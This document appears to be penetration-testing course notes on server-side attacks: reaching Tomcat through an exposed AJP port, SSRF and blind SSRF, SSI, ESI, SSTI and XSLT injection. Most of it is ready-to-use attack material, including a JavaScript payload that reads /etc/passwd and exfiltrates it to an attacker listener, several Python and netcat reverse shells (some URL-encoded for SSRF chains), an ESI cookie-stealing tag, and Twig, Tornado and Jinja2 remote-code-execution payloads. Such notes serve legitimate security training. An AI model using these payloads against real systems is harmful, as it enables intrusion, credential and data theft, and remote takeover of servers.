-
AJP Proxy:
-
For Apache, AJP (or JK) is a wire protocol, an optimized version of HTTP to allow a standalone web server (like Apache) to talk to Tomcat
-
If a server has open AJP proxy ports (8009 TCP), we may be able to use them to access the (hidden) Apache Tomcat Manager; AJP-Proxy is a binary protocol, so we can configure our own Nginx/Apache webserver with AJP modules to interact with it
-
-
Nginx reverse proxy & AJP:
-
Download nginx source code and the required module, and compile it:
# download nginx source code wget https://nginx.org/download/nginx-1.21.3.tar.gz tar -xzvf nginx-1.21.3.tar.gz # download the required 'ajp_module' and compile nginx source code git clone https://github.com/dvershinin/nginx_ajp_module.git cd nginx-1.21.3 sudo apt install libpcre3-dev ./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules make sudo make install nginx -V # to verify, shows nginx version along with nginx_ajp_module configured
-
Then, create a configuration file pointing to the AJP port (8009); comment out the entire
server
block and append the following inside thehttp
block in/etc/nginx/conf/nginx.conf
(where 10.129.40.80 is the target server, for example):upstream tomcats { server 10.129.40.80:8009; keepalive 10; } server { listen 8080; location / { ajp_keep_conn on; ajp_pass tomcats; } }
-
Start nginx and check if everything is working by issuing a request to localhost (we have to use the same listening port as above):
sudo nginx curl http://127.0.0.1:8080 # this should give us the page for the Apache Tomcat Manager
-
-
Apache reverse proxy & AJP:
-
Install the libapache2-mod-jk package, and enable the AJP module (Apache has it precompiled); and create the config file pointing to the target AJP Proxy port:
# Apache also uses port 80 as its default # if needed, we can Apache default port on /etc/apache2/ports.conf sudo apt install libapache2-mod-jk sudo a2enmod proxy_ajp sudo a2enmod proxy_http export TARGET="10.129.40.80" # target server echo -n """<Proxy *> Order allow,deny Allow from all </Proxy> ProxyPass / ajp://$TARGET:8009/ ProxyPassReverse / ajp://$TARGET:8009/""" | sudo tee /etc/apache2/sites-available/ajp-proxy.conf # created config file pointing to 8009 sudo ln -s /etc/apache2/sites-available/ajp-proxy.conf /etc/apache2/sites-enabled/ajp-proxy.conf sudo systemctl start apache2
# access the 'hidden' Apache Tomcat Manager page # assuming that Apache is listening on port 80 - default curl http://127.0.0.1
-
-
SSRF (Server-Side Request Forgery) attacks:
- abuse server functionality to perform internal/external resource requests
- need to provide or modify URLS used by target app to read/post data
- exploiting SSRF vulns can lead to access to internal services, local data (files, hashes, etc.) and possible RCE
-
SSRF Exploitation example:
-
Run a quick
nmap
scan for target machine:nmap -T5 -A -Pn -p- 10.129.201.238 # shows open ports
-
Interact with the target:
curl -i -s http://10.129.201.238 # shows request redirected to '/load?q=index.html' # follow redirect curl -i -s -L http://10.129.201.238 # shows that ubuntu-web.lalaguna.local is the target # and internal.app.local is an app on the internal network, which cannot be accessed currently
-
We need to check if the
q
parameter is vulnerable to SSRF; if it is, we can try reaching the internal web app using it -
Testing for SSRF:
# setup listener nc -nvlp 8080 # issue request to target webapp with our listener instead of 'index.html' curl -i -s "http://10.129.201.238/load?q=http://10.10.15.174:8080" # we get the HTTP response output on our listener # this confirms the SSRF vuln # since request is issued by target server
-
From HTTP response, we can see target server is using
User-Agent: Python-urllib/3.8
; from the docs we can see thaturllib
supportsfile
,http
andftp
schemas -
Using
urllib
functionality to fetch remote and local files:# create a test 'index.html' vim index.html # start HTTP server in same directory python3 -m http.server 9090 # also setup and start FTP server sudo pip3 install twisted sudo python3 -m twisted ftp -p 21 -r . # fetch remote file through target app via FTP curl -i -s "http://10.129.201.238/load?q=ftp://10.10.15.174/index.html" # fetch remote file through target app via HTTP curl -i -s "http://10.129.201.238/load?q=http://10.10.15.174:9090/index.html" # fetch local file through target app curl -i -s "http://10.129.201.238/load?q=file:///etc/passwd"
-
Testing for any internal apps and listening only on localhost:
# create wordlist for all ports for port in {1..65535};do echo $port >> ports.txt;done # issue request to random port to get response size of a request for non-existent service curl -i -s "http://10.129.201.238/load?q=http://127.0.0.1:1" # use ffuf to enumerate and filter out this response size ffuf -w ports.txt:PORT -u "http://10.129.201.238/load?q=http://127.0.0.1:PORT" -fs 30 -s # -s for silent mode # we get ports 80, 5000
-
Interact with this app listening on port 5000:
curl -i -s "http://10.129.201.238/load?q=http://127.0.0.1:5000"
-
Now, we can try attacking
internal.app.local
found earlier, again using SSRF:curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=index.html" # fetches the internal app webpage as expected # as both apps load resources via the 'q' parameter
-
Trying to discover any web apps listening in localhost:
curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http://127.0.0.1:1" # here we get 'unknown url type' error # it seems the web app is removing '://' part of the URL from request # modifying the URL curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1" # this shows an expected response # web app shows the 'connection refused' message as it is a closed port # we can use ffuf to check for all ports, with regex for filtering ffuf -w ports.txt:PORT -u "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Connection refused' # this gives us ports 80, 5000
-
Interacting with this another app listening on port 5000:
curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000" # shows a list of files - index.html, internal.py, internal_local.py and start.sh
-
Next, we can try checking the source code of web apps listening on
internal.app.local
:# check '/proc/self/environ' file to find 'PWD' env var curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o - # '-o -' flag used to redirect output to file, cannot get output without that # this shows PWD is set to '/app' # retrieve local file 'internal_local.py' through target app curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py" # shows source code
-
From the source code of 'internal_local.py', we can see that there is a functionality of executing commands on remote host, by sending a GET request to
/runme?x=<CMD>
:# interacting with app on port 5000 again to uncover RCE curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami" curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a" # commands with spaces do not work # we need to URL-encode the command - 3 times in this case, since we are passing through 3 different web apps curl -i -s "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname%252520-a"
-
-
Blind SSRF - even if request is processed, we cannot see backend server's response; blind SSRF vulns can be detected via out-of-band techniques, making the server issue a request to an external service we control (using tools like Burp Collaborator or
pingb.in
) -
Blind SSRF exploitation example:
-
Target app (listening on port 8080) is an app that converts HTML to PDF
-
We get the same response regardless of what HTML file has been uploaded
-
To test if app is vulnerable to blind SSRF, we can attempt to create a HTML file containing a link to a service under our control (e.g. - a listener using
sudo nc -lvnp 9090
):<!DOCTYPE html> <html> <body> <a>Hello World!</a> <img src="http://10.10.15.170:9090/x?=viaimgtag"> </body> </html>
-
When we upload this HTML file, we get the same response; but on our listener, we get the name of the app that's being used to convert HTML to PDF -
wkhtmltopdf
-
According to
wkhtmltopdf
documentation, it can execute JS - we can leverage this to read local file:<html> <body> <b>Exfiltration via Blind SSRF</b> <script> var readfile = new XMLHttpRequest(); // Read the local file var exfil = new XMLHttpRequest(); // Send the file to our server readfile.open("GET","file:///etc/passwd", true); readfile.send(); readfile.onload = function() { if (readfile.readyState === 4) { var url = 'http://10.10.15.170:9090/?data='+btoa(this.response); // Send data encoded in base64 exfil.open("GET", url, true); exfil.send(); } } readfile.onerror = function(){document.write('<a>Oops!</a>');} </script> </body> </html>
-
We can start the HTTP server again, submit this HTML file, and once we get the response we can decode it
-
Also, similar to previous example, there is an underlying server
internal.app.local
here too - we can use a HTML file with a valid payload for exploiting the local app listening on the server -
The underlying server uses Python, so we can use a reverse shell payload accordingly:
export RHOST="10.10.15.170";export RPORT="9090";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
-
Similar to the previous instance, we would need to URL-encode the payload, twice (as it is passing through 2 web apps, also note the second parameter in URL includes
:://
to bypass filter), and then include it in the HTML file:<html> <body> <b>Reverse Shell via Blind SSRF</b> <script> var http = new XMLHttpRequest(); http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true); http.send(); // GET request to internal.app.local, reach local app vulnerable to RCE via SSRF and execute payload http.onerror = function(){document.write('<a>Oops!</a>');} </script> </body> </html>
-
We need to start our listener again, and submit the HTML file with the payload, and we should get a reverse shell
-
-
Time-based SSRF:
-
We can check if web app is vulnerable to SSRF by observing time differences in responses
-
For example, if there is a significant difference between a normal upload and a malicious upload (a HTML file including some IP address like
<img src="http://blah.nonexistent.com">
) it can indicate vulnerability; furthermore, we can check by adding a valid URL (like the internal serverinternal.app.local
) and notice the time difference
-
-
Server-side includes (SSI):
-
used by web apps to create dynamic content on HTML pages; evaluates SSI directives
-
extensions such as
.shtml
,.shtm
or.stm
indicate use of SSI -
we can submit payloads (SSI directives) through input fields to check for SSI injection
-
examples of SSI directives:
// Date <!--#echo var="DATE_LOCAL" --> // Modification date of a file <!--#flastmod file="index.html" --> // CGI Program results <!--#include virtual="/cgi-bin/counter.pl" --> // Including a footer <!--#include virtual="/footer.html" --> // Executing commands <!--#exec cmd="ls" --> // Setting variables <!--#set var="name" value="Rich" --> // Including virtual files (same directory) <!--#include virtual="file_to_include.html" --> // Including files (same directory) <!--#include file="file_to_include.html" --> // Print all variables <!--#printenv -->
-
-
SSI injection exploitation example:
-
In the input field for the given webpage, we can try to identify if it is vulnerable to SSI injection by submitting SSI directives as payloads
-
The SSI directives work and we get the output in the page
-
We can also try SSI directive payloads for reverse shells:
<!--#exec cmd="mkfifo /tmp/foo;nc 10.10.15.160 4444 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
-
-
Edge Side Includes (ESI):
-
XML-based markup language
-
enables heavy caching of web content; allows dynamic web content assembly
-
ESI tags used to instruct a HTTP surrogate (reverse-proxy, caching server, etc.) to fetch more info for webpage with an already cached template
-
ESI injection occurs when attacker manages to reflect malicious ESI tags in HTTP response
-
root cause of vuln - HTTP surrogates can't validate the ESI tag origin
-
some useful ESI tags:
// Basic detection <esi: include src=http://<PENTESTER IP>> // XSS Exploitation Example <esi: include src=http://<PENTESTER IP>/<XSSPAYLOAD.html>> // Cookie Stealer (bypass httpOnly flag) <esi: include src=http://<PENTESTER IP>/?cookie_stealer.php?=$(HTTP_COOKIE)> // Introduce private local files (Not LFI per se) <esi:include src="supersecret.txt"> // Valid for Akamai, sends debug information in the response <esi:debug/>
-
RCE can be achieved if app processing ESI directives supports XLST (dynamic language used to transform XML files); in that case, we can pass
dca=xlst
to payload
-
-
Templates - used as intermediary format to create dynamic web content; template engines read tokenized strings from template documents, and produce rendered strings with values in output document
-
Server-Side Template Injection (SSTI) - injecting malicious template directives inside a template
-
SSTI vuln can be identified by injecting different tags in inputs to check if they're evaluated in response; sometimes we don't see injected data reflected in response, it could be blind (evaluated on a different page)
-
Example SSTI payloads:
{7*7} ${7*7} #{7*7} %{7*7} {{7*7}} // we can check for 49 in response
-
We can also inject combinations of special characters like
${{<%[%'"}}%\
used in template expressions; if an exception is caused, this indicates some control -
Based on type of working payload, it is possible to identify the underlying template engine; we can also check for verbose errors containing keywords or common extensions used
-
Tools like
tplmap
,SSTImap
or J2EE scan (Burp Pro) can be used to test for SSTI vulns or create a payload list -
SSTI exploitation example 1:
-
For given webapp, we can start by trying SSTI payloads - the payload
{{7*7}}
is evaluated and we get 49 in response -
Based on which payload works, we can use the SSTI template engine decision tree to find the underlying template engine
-
The payload
{{7*'7'}}
also gets evaluated to 49 - so we are either dealing with Jinja2 or Twig template engine -
We can check for more payloads from HackTricks or PayloadsAllTheThings and check if it's Jinja2 or Twig
-
Twig-specific payloads like
{{_self.env.display("TEST")}}
and{{_self.env}}
indicate that Twig is the underlying template engine -
This process can be automated through
tplmap
as well:git clone https://github.com/epinna/tplmap.git cd tplmap pip install virtualenv virtualenv -p python2 venv source venv/bin/activate pip install -r requirements.txt # run tplmap ./tplmap.py -u 'http://94.237.63.93:59545' -d name=john # since user input is submitted via 'name' parameter through POST request # to get RCE through tplmap, use '--os-shell' flag
-
Twig has a variable
_self
which makes few of the internal APIs public; we can use it in our RCE payload - register a function as a filter callback viaregisterUndefinedFilterCallback
, and invoke_self.env.getFilter
function to execute the just-registered function:{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
# submit payload via cURL curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://94.237.63.93:59545 # we get command executed in response
-
When mathematical expressions are evaluated through SSTI, there's a possibility of XSS as well - can be confirmed by submitting a XSS payload within curly brackets, e.g. -
{{<img src=x onerror=alert(1) />}}
-
-
SSTI exploitation example 2:
-
The target web app accepts user input for parameter 'email' through a POST request to '/jointheteam'; we can try some SSTI payloads:
curl -X POST -d 'email={7*7}' http://94.237.54.170:59106/jointheteam curl -X POST -d 'email=${7*7}' http://94.237.54.170:59106/jointheteam curl -X POST -d 'email=#{7*7}' http://94.237.54.170:59106/jointheteam curl -X POST -d 'email=%{7*7}' http://94.237.54.170:59106/jointheteam curl -X POST -d 'email={{7*7}}' http://94.237.54.170:59106/jointheteam # this payload gets executed and we get 49 in response
-
As per the PortSwigger diagram, we can try next for payload
{{7*'7'}}
- this also gets executed, so we could be dealing with Jinja2 or Twig -
However, any Jinja2 or Twig specific payloads throw '500: Internal Server Error':
curl -X POST -d 'email={{_self.env}}' http://94.237.54.170:59106/jointheteam curl -X POST -d 'email={{settings.SECRET_KEY}}' http://94.237.54.170:59106/jointheteam
-
This methodology can be improved by compiling a list of template engine-specific payloads from multiple sources like PayloadsAllTheThings and HackTricks, and fuzzing the app until we can conclude on template engine; alternatively use automated tools
-
For the above, Tornado-specific payloads work, implying that is the underlying template engine:
curl -X POST -d "email={% import os %}{{os.system('whoami')}}" http://94.237.54.170:59106/jointheteam # does not throw internal server error
-
Using an automated tool like
tplmap
also works:./tplmap.py -u 'http://94.237.54.170:59106/jointheteam' -d email=test # this shows Tornado as the template engine ./tplmap.py -u 'http://94.237.54.170:59106/jointheteam' -d email=test --os-shell
-
-
SSTI exploitation example 3:
-
For given target, we can test payloads for SSTI - like previous examples, this seems vulnerable as well:
curl -gs "http://94.237.49.166:52590/execute?cmd={{7*7}}" # 49 in response curl -gs "http://94.237.49.166:52590/execute?cmd={{7*'7'}}" # this returns 7777777
-
Following the previous PortSwigger SSTI decision tree, based on the response to the above two payloads, we can see that the target is using Jinja2
-
For reference, some Python methods that can be used for payload crafting with respect to Jinja2:
__class__
- returns object (class) to which type belongs__mro__
- returns tuple containing base class inherited by object__subclasses__
- each new class retains reference to subclasses; returns list of references in class__builtins
- returns builtin methods included in function__globals
- reference to dictionary containing global versions for a function__base__
- returns base class inherited by object__init__
- class initialization method
-
Example of these methods being used:
import flask s = 'HTB' type(s) # class 'str' s.__class__ # class 'str' dir (s) # shows all methods and attributes from object s.__class__.__class__ # class 'type' # going up the tree of inherited objects s.__class__.__base__ # class 'object' s.__class__.__base__.__subclasses__() # complete list of references for 'object' class s.__class__.mro()[1].__subclasses__() # does the same as above
-
Useful classes that can facilitate RCE:
# x = s.__class__.mro()[1].__subclasses__() # for i in range(len(x)):print(i, x[i].__name__) # prints all subclasses def searchfunc(name): x = s.__class__.mro()[1].__subclasses__() for i in range(len(x)): fn = x[i].__name__ if fn.find(name) > -1: print(i, fn) searchfunc('warning') y = x[147] y # class 'warnings.catch_warnings' z = y()._module.__builtins__ for i in z: if i.find('import') >-1: print (i, z[i]) # __import__ <built-in function __import__>
-
Searching for 'warning' gives us
catch_warnings
; this class imports Python'ssys
module, and fromsys
, we can reachos
. And searching further, we can find the import function as well, which can be used to execute code coming from a string object:''.__class__.__mro__[1].__subclasses__()[147]()._module.__builtins__['__import__']('os').system('echo RCE from a string object') # prints the string
-
Using this logic, we can test our payloads part-by-part to get RCE - we can use the web app directly and send our payloads as well
-
{{ ''.__class__ }}
- gives 'str' class -
{{ ''.__class__.__mro__ }}
- gives class 'str' and class 'object' -
{{ ''.__class__.__mro__[1] }}
- gives class 'object' only since that's what we need -
{{ ''.__class__.__mro__[1].__subclasses__() }}
- lots of output, and we need to get the index for 'warnings' -
We can use the following payload to show all references and their indices:
{% for i in range(450) %} {{ i }} {{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }} {% endfor %}
-
The above gives us index 214 for
catch_warnings
; we can proceed with the payload we created earlier now -
{{ ''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').system('echo RCE test') }}
- response shows '0', indicating the value of executed command, so it means executed without errors -
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').system("touch /tmp/test1") }}
- this creates a test file, and also gives 0 in response -
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('ls /tmp').read()}}
- this payload confirms our file is created -
{{''.__class__.__mro__[1].__subclasses__()[214]()._module.__builtins__['__import__']('os').popen('python -c \'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.170",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")\'').read()}}
- full payload to get reverse shell, where we have included our listening IP and port as well -
For Jinja2, we can use certain functions like
request
andlipsum
for exploitation -
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
- executes 'id' command -
{{lipsum.__globals__.os.popen('id').read()}}
- alternative to above command
-
-
-
Extensible Stylesheet Language Transformations (XLST) - XML-based language, used when transforming XML documents into HTML, PDF, or another XML document
-
XLST server-side injection can occur when arbitrary XLST file upload is possible or when app generates XML document dynamically using malicious user input
-
Example of malicious XSL file:
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> <xsl:template match="/"> <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/> </xsl:template> </xsl:stylesheet>
# while doing the transformation, we can use the above file, readfile.xsl saxonb-xslt -xsl:readfile.xsl catalogue.xml # similarly, we can use XSL files for SSRF or fingerprinting
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0"> <xsl:include href="http://127.0.0.1:5000/xslt"/> <xsl:template match="/"> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="ISO-8859-1"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> Version: <xsl:value-of select="system-property('xsl:version')" /><br /> Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br /> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br /> <xsl:if test="system-property('xsl:product-name')"> Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:product-version')"> Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:is-schema-aware')"> Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:supports-serialization')"> Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:supports-backwards-compatibility')"> Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')" /><br /> </xsl:if> </xsl:template> </xsl:stylesheet>